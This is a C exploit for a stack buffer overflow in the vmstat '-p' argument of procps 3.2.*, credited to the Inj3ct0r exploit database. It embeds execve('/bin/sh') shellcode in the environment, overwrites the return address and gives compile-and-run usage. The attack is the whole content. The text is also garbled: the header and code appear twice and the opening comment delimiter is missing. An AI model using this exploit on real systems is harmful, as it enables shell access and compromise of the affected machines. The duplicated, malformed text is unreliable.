Exploit Title: procps 3.2.* vmstat argument stack overflow
Author: Angel Injection
Home: 1337day Inj3ct0r Exploit Database : vulnerability : 0day : shellcode by Inj3ct0r Team
Thanks To: All Mempers 1337day " inj3ct0r team "
Usage: gcc inj3ct0r.c -o inj3ct0r ||| angel@inj3ct0r:~# ./inj3ct0r
*/
#include<stdio.h>
#include<string.h>
#define BUFFER_SIZE 32
#define VMSTAT_PATH "/usr/bin/vmstat"
char nitrous_egg[]=
"\xeb\x14\x5b\x31\xd2\x88\x53\x07"
"\x89\x5b\x08\x89\x53\x0c\x8d\x4b"
"\x08\x6a\x0b\x58\xcd\x80\xe8\xe7"
"\xff\xff\xff/bin/sh"; //jmp-call execve()
int main()
{
char *payl0ad= (char *)malloc(BUFFER_SIZE);
char *envir0n[2]= {nitrous_egg,NULL};
unsigned long retaddr=0xbffffffa-strlen(nitrous_egg)-strlen(VMSTAT_PATH);
printf("-=[ Jumping to: 0x%x\n\n", retaddr);
int x;
for(x=0; x<BUFFER_SIZE; x+=4)
*(unsigned long *)&payl0ad[x]= retaddr;
execle(VMSTAT_PATH, VMSTAT_PATH,"-p", payl0ad, NULL, envir0n);
return 0;
}
Author: Angel Injection
Home: 1337day Inj3ct0r Exploit Database : vulnerability : 0day : shellcode by Inj3ct0r Team
Thanks To: All Mempers 1337day " inj3ct0r team "
Usage: gcc inj3ct0r.c -o inj3ct0r ||| angel@inj3ct0r:~# ./inj3ct0r
*/
#include<stdio.h>
#include<string.h>
#define BUFFER_SIZE 32
#define VMSTAT_PATH "/usr/bin/vmstat"
char nitrous_egg[]=
"\xeb\x14\x5b\x31\xd2\x88\x53\x07"
"\x89\x5b\x08\x89\x53\x0c\x8d\x4b"
"\x08\x6a\x0b\x58\xcd\x80\xe8\xe7"
"\xff\xff\xff/bin/sh"; //jmp-call execve()
int main()
{
char *payl0ad= (char *)malloc(BUFFER_SIZE);
char *envir0n[2]= {nitrous_egg,NULL};
unsigned long retaddr=0xbffffffa-strlen(nitrous_egg)-strlen(VMSTAT_PATH);
printf("-=[ Jumping to: 0x%x\n\n", retaddr);
int x;
for(x=0; x<BUFFER_SIZE; x+=4)
*(unsigned long *)&payl0ad[x]= retaddr;
execle(VMSTAT_PATH, VMSTAT_PATH,"-p", payl0ad, NULL, envir0n);
return 0;
}
